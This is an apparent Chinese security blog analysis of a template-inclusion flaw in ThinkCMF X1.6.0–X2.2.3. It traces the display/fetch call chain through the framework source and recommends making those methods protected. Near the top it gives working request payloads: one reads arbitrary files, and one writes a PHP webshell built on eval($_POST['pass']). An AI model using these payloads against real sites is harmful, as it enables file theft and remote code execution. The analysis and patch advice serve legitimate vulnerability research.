ThinkCMF框架任意内容包含漏洞分析
ThinkCMF基于thinkphp框架,是一款支持Swoole的开源内容管理框架
影响版本
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3漏洞危害:
- 读取敏感文件内容
- 执行任意php代码
payload
- 读取README.md文件内容
?a=display&templateFile=README.md
- 写一个名为shell.php的webshell
?a=fetch
&templateFile=public/index
&prefix=’’
&content=%3C%3Fphp%20file_put_contents%28%27shell.php%27%2C%27%3C%3Fphp%20eval%28%24_POST%5B%22pass%22%5D%29%3B%3F%3E%27%29%20%3F%3E
漏洞分析
- 在thinkphp中,可以通过特殊的get参数来访问控制器和对应的操作(也就是控制器的方法)
比如?c=Blog&a=read&id=5会调用BlogController这个控制器类的read方法,并传递参数id=5 - ThinkCMF框架默认的参数名和Thinkphp默认的不同,在/application/Common/Conf/config.php中可以看到g为模块(也就是application目录下不同的应用),m为控制器,a为操作
1
2
3'VAR_MODULE' => 'g', // 默认模块获取变量
'VAR_CONTROLLER' => 'm', // 默认控制器获取变量
'VAR_ACTION' => 'a', // 默认操作获取变量 - 因此我们可以通过传递get参数调用display和fetch方法,并传递相应的参数给它们。可以发现exp只制定了操作,没有指定模块和控制器,这是因为ThinkCMF设置了默认的模块和控制器,同样在/application/Common/Conf/config.php可以看到
1
2
3'DEFAULT_MODULE' => 'Portal', // 默认模块
'DEFAULT_CONTROLLER' => 'Index', // 默认控制器名称
'DEFAULT_ACTION' => 'index', // 默认操作名称 - 因此两个exp调用的是Portal模块,Index控制器下的两个操作display和fetch
- Index 控制器并没有display和fetch这两个操作
1
2
3
4
5
6
7
8class IndexController extends HomebaseController {
//首页 小夏是老猫除外最帅的男人了
public function index() {
$this->display(":index");
}
} - 但是IndexController的父类HomebaseController存在public的方法display和fetch方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27/**
* 加载模板和页面输出 可以返回输出内容
* @access public
* @param string $templateFile 模板文件名
* @param string $charset 模板输出字符集
* @param string $contentType 输出类型
* @param string $content 模板输出内容
* @return mixed
*/
public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
parent::display($this->parseTemplate($templateFile), $charset, $contentType,$content,$prefix);
}
/**
* 获取输出页面内容
* 调用内置的模板引擎fetch方法,
* @access protected
* @param string $templateFile 指定要调用的模板文件
* 默认为空 由系统自动定位模板文件
* @param string $content 模板输出内容
* @param string $prefix 模板缓存前缀*
* @return string
*/
public function fetch($templateFile='',$content='',$prefix=''){
$templateFile = empty($content)?$this->parseTemplate($templateFile):'';
return parent::fetch($templateFile,$content,$prefix);
} - 漏洞的根源就是这两个方法被设为了public,可以直接去访问这两方法,并向其传递参数
1.display方法
这个时候payload为
1 | ?a=display&templateFile=README.md |
也就是只向display方法传递了templateFile参数
1 | /** |
- 这里先用parseTemplate去定位模板文件,然后调用父类的display方法
1
2
3protected function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
$this->view->display($templateFile,$charset,$contentType,$content,$prefix);
} - 又会调用一个display方法
1
2
3
4
5
6
7
8
9
10
11public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
G('viewStartTime');
// 视图开始标签
Hook::listen('view_begin',$templateFile);
// 解析并获取模板内容
$content = $this->fetch($templateFile,$content,$prefix);
// 输出模板内容
$this->render($content,$charset,$contentType);
// 视图结束标签
Hook::listen('view_end');
} - 跟进fetch方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37/**
* 解析和获取模板内容 用于输出
* @access public
* @param string $templateFile 模板文件名
* @param string $content 模板输出内容
* @param string $prefix 模板缓存前缀
* @return string
*/
public function fetch($templateFile='',$content='',$prefix='') {
if(empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}else{
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter',$content);
// 输出模板文件
return $content;
} empty($_content)?include $templateFile:eval('?>'.$_content);
这段看起来可以代码执行,但if判断为假且条件不可控制- 跟进Hook类的listen方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30/**
* 监听标签的插件
* @param string $tag 标签名称
* @param mixed $params 传入参数
* @return void
*/
static public function listen($tag, &$params=NULL) {
if(isset(self::$tags[$tag])) {
if(APP_DEBUG) {
G($tag.'Start');
trace('[ '.$tag.' ] --START--','','INFO');
}
foreach (self::$tags[$tag] as $name) {
APP_DEBUG && G($name.'_start');
$result = self::exec($name, $tag,$params);
if(APP_DEBUG){
G($name.'_end');
trace('Run '.$name.' [ RunTime:'.G($name.'_start',$name.'_end',6).'s ]','','INFO');
}
if(false === $result) {
// 如果返回false 则中断插件执行
return ;
}
}
if(APP_DEBUG) { // 记录行为的执行日志
trace('[ '.$tag.' ] --END-- [ RunTime:'.G($tag.'Start',$tag.'End',6).'s ]','','INFO');
}
}
return;
} - 发现执行了一个叫做exec的静态方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22/**
* 执行某个插件
* @param string $name 插件名称
* @param string $tag 方法名(标签名)
* @param Mixed $params 传入的参数
* @return void
*/
static public function exec($name, $tag,&$params=NULL) {
file_put_contents('D:/a.txt',$name.' '.$params['content']."\n",FILE_APPEND);
if('Behavior' == substr($name,-8) ){
// 行为扩展必须用run入口方法
$class = $name;
$tag = 'run';
}else{
$class = "plugins\\{$name}\\{$name}Plugin";
}
if(class_exists($class)){ //ThinkCMF NOTE 插件或者行为存在时才执行
$addon = new $class();
return $addon->$tag($params);
}
}
} - 调试下发现最后一句
return $addon->$tag($params);
调用了Behavior\ParseTemplateBehavior类的run方法1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30// 行为扩展的执行入口必须是run
public function run(&$_data){
$engine = strtolower(C('TMPL_ENGINE_TYPE'));
$_content = empty($_data['content'])?$_data['file']:$_data['content'];
$_data['prefix'] = !empty($_data['prefix'])?$_data['prefix']:C('TMPL_CACHE_PREFIX');
if('think'==$engine){ // 采用Think模板引擎
if((!empty($_data['content']) && $this->checkContentCache($_data['content'],$_data['prefix']))
|| $this->checkCache($_data['file'],$_data['prefix'])) { // 缓存有效
//载入模版缓存文件
Storage::load(C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']);
}else{
$tpl = Think::instance('Think\\Template');
// 编译并加载模板文件
$tpl->fetch($_content,$_data['var'],$_data['prefix']);
}
}else{
// 调用第三方模板引擎解析和输出
if(strpos($engine,'\\')){
$class = $engine;
}else{
$class = 'Think\\Template\\Driver\\'.ucwords($engine);
}
if(class_exists($class)) {
$tpl = new $class;
$tpl->fetch($_content,$_data['var']);
}else { // 类没有定义
E(L('_NOT_SUPPORT_').': ' . $class);
}
}
} - 会执行下面这段
1
2
3$tpl = Think::instance('Think\\Template');
// 编译并加载模板文件
$tpl->fetch($_content,$_data['var'],$_data['prefix']); - 调用Think\Template类的fetch方法
1
2
3
4
5
6
7
8
9
10
11
12
13/**
* 加载模板
* @access public
* @param string $templateFile 模板文件
* @param array $templateVar 模板变量
* @param string $prefix 模板标识前缀
* @return void
*/
public function fetch($templateFile,$templateVar,$prefix='') {
$this->tVar = $templateVar;
$templateCacheFile = $this->loadTemplate($templateFile,$prefix);
Storage::load($templateCacheFile,$this->tVar,null,'tpl');
} - 调用了Storage类的load静态方法,Storage其实没有这个方法,但存在__callstatic魔术方法
1
2
3
4
5
6static public function __callstatic($method,$args){
//调用缓存驱动的方法
if(method_exists(self::$handler, $method)){
return call_user_func_array(array(self::$handler,$method), $args);
}
} - 这时$method 为load,也就是会去调用一个名叫load的方法
- 调试可以发现调用的是File类的load方法
1
2
3
4
5
6
7
8
9
10
11
12
13/**
* 加载文件
* @access public
* @param string $filename 文件名
* @param array $vars 传入变量
* @return void
*/
public function load($_filename,$vars=null){
if(!is_null($vars)){
extract($vars, EXTR_OVERWRITE);
}
include $_filename;
} - 在最后包含了我们指定的文件
2.fetch方法
这个时候payload为
1 | ?a=fetch |
可以看到content参数中的php代码被执行了
分析下代码:
1 | public function fetch($templateFile='',$content='',$prefix=''){ |
- fetch也是调用了父类AppframeController的fetch方法
1
2
3protected function fetch($templateFile='',$content='',$prefix='') {
return $this->view->fetch($templateFile,$content,$prefix);
} - 这个方法刚刚就见过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30public function fetch($templateFile='',$content='',$prefix='') {
if(empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if(!is_file($templateFile))
E(L('_TEMPLATE_NOT_EXIST_') . ':' . $templateFile);
}else{
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter',$content);
// 输出模板文件
return $content;
} - 代码同样会执行到
1
Hook::listen('view_parse',$params);
- 又是Hook类的静态方法listen
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30/**
* 监听标签的插件
* @param string $tag 标签名称
* @param mixed $params 传入参数
* @return void
*/
static public function listen($tag, &$params=NULL) {
if(isset(self::$tags[$tag])) {
if(APP_DEBUG) {
G($tag.'Start');
trace('[ '.$tag.' ] --START--','','INFO');
}
foreach (self::$tags[$tag] as $name) {
APP_DEBUG && G($name.'_start');
$result = self::exec($name, $tag,$params);
if(APP_DEBUG){
G($name.'_end');
trace('Run '.$name.' [ RunTime:'.G($name.'_start',$name.'_end',6).'s ]','','INFO');
}
if(false === $result) {
// 如果返回false 则中断插件执行
return ;
}
}
if(APP_DEBUG) { // 记录行为的执行日志
trace('[ '.$tag.' ] --END-- [ RunTime:'.G($tag.'Start',$tag.'End',6).'s ]','','INFO');
}
}
return;
} - $content变为$params
- 跟进exec方法
1
$result = self::exec($name, $tag,$params)
1
2
3
4
5
6
7
8
9
10
11
12
13static public function exec($name, $tag,&$params=NULL) {
if('Behavior' == substr($name,-8) ){
// 行为扩展必须用run入口方法
$class = $name;
$tag = 'run';
}else{
$class = "plugins\\{$name}\\{$name}Plugin";
}
if(class_exists($class)){ //ThinkCMF NOTE 插件或者行为存在时才执行
$addon = new $class();
return $addon->$tag($params);
}
} - 最后一句调用Behavior\ParseTemplateBehavior类的run方法
1
return $addon->$tag($params);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30// 行为扩展的执行入口必须是run
public function run(&$_data){
$engine = strtolower(C('TMPL_ENGINE_TYPE'));
$_content = empty($_data['content'])?$_data['file']:$_data['content'];
$_data['prefix'] = !empty($_data['prefix'])?$_data['prefix']:C('TMPL_CACHE_PREFIX');
if('think'==$engine){ // 采用Think模板引擎
if((!empty($_data['content']) && $this->checkContentCache($_data['content'],$_data['prefix']))
|| $this->checkCache($_data['file'],$_data['prefix'])) { // 缓存有效
//载入模版缓存文件
Storage::load(C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']);
}else{
$tpl = Think::instance('Think\\Template');
// 编译并加载模板文件
$tpl->fetch($_content,$_data['var'],$_data['prefix']);
}
}else{
// 调用第三方模板引擎解析和输出
if(strpos($engine,'\\')){
$class = $engine;
}else{
$class = 'Think\\Template\\Driver\\'.ucwords($engine);
}
if(class_exists($class)) {
$tpl = new $class;
$tpl->fetch($_content,$_data['var']);
}else { // 类没有定义
E(L('_NOT_SUPPORT_').': ' . $class);
}
}
} - 这里分为两种情况
1.第一次执行payload2,或者清除了ThinkCMF的缓存
- 会执行下面的代码
1
2
3$tpl = Think::instance('Think\\Template');
// 编译并加载模板文件
$tpl->fetch($_content,$_data['var'],$_data['prefix']); - 又是Think\Template类的fetch方法
1
2
3
4
5
6
7
8
9
10
11
12
13/**
* 加载模板
* @access public
* @param string $templateFile 模板文件
* @param array $templateVar 模板变量
* @param string $prefix 模板标识前缀
* @return void
*/
public function fetch($templateFile,$templateVar,$prefix='') {
$this->tVar = $templateVar;
$templateCacheFile = $this->loadTemplate($templateFile,$prefix);
Storage::load($templateCacheFile,$this->tVar,null,'tpl');
} - 跟进loadTemplate方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37/**
* 加载主模板并缓存
* @access public
* @param string $templateFile 模板文件
* @param string $prefix 模板标识前缀
* @return string
* @throws ThinkExecption
*/
public function loadTemplate ($templateFile,$prefix='') {
if(is_file($templateFile)) {
$this->templateFile = $templateFile;
// 读取模板文件内容
$tmplContent = file_get_contents($templateFile);
}else{
$tmplContent = $templateFile;
}
// 根据模版文件名定位缓存文件
$tmplCacheFile = $this->config['cache_path'].$prefix.md5($templateFile).$this->config['cache_suffix'];
// 判断是否启用布局
if(C('LAYOUT_ON')) {
if(false !== strpos($tmplContent,'{__NOLAYOUT__}')) { // 可以单独定义不使用布局
$tmplContent = str_replace('{__NOLAYOUT__}','',$tmplContent);
}else{ // 替换布局的主体内容
$layoutFile = THEME_PATH.C('LAYOUT_NAME').$this->config['template_suffix'];
// 检查布局文件
if(!is_file($layoutFile)) {
E(L('_TEMPLATE_NOT_EXIST_').':'.$layoutFile);
}
$tmplContent = str_replace($this->config['layout_item'],$tmplContent,file_get_contents($layoutFile));
}
}
// 编译模板内容
$tmplContent = $this->compiler($tmplContent);
Storage::put($tmplCacheFile,trim($tmplContent),'tpl');
return $tmplCacheFile;
} - 发现在最后调用了了Storage类的put方法,也就是调用了File类的put方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19/**
* 文件写入
* @access public
* @param string $filename 文件名
* @param string $content 文件内容
* @return boolean
*/
public function put($filename,$content,$type=''){
$dir = dirname($filename);
if(!is_dir($dir)){
mkdir($dir,0777,true);
}
if(false === file_put_contents($filename,$content)){
E(L('_STORAGE_WRITE_ERROR_').':'.$filename);
}else{
$this->contents[$filename]=$content;
return true;
}
} - 可以看到我们指定的content被写入到了一个缓存文件中去,文件名为之前的
1
C('CACHE_PATH').$prefix.md5($tmplContent).C('TMPL_CACHFILE_SUFFIX')
- 然后Think\Template类fetch方法最后一行会调用File类的load方法去包含这个缓存文件,达到代码注入的效果
2.之前执行了payload2,缓存文件已经存在
- 会用checkContentCache方法会检查缓存是否已经存在
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15/**
* 检查缓存内容是否有效
* 如果无效则需要重新编译
* @access public
* @param string $tmplContent 模板内容
* @return boolean
*/
protected function checkContentCache($tmplContent,$prefix='') {
if(Storage::has(C('CACHE_PATH').$prefix.md5($tmplContent).C('TMPL_CACHFILE_SUFFIX'))){
return true;
}else{
return false;
}
}
} - 和刚才一样会去调用Storage类的has方法,实际上会调用File类的has方法去判断缓存文件是否存在
1
2
3
4
5
6
7
8
9/**
* 文件是否存在
* @access public
* @param string $filename 文件名
* @return boolean
*/
public function has($filename,$type=''){
return is_file($filename);
} - 如果缓存文件存在的话(比如之前已经执行过payload2),则直接去用load方法去包含这个缓存文件
修补方法
把display和fetch方法从public变为protected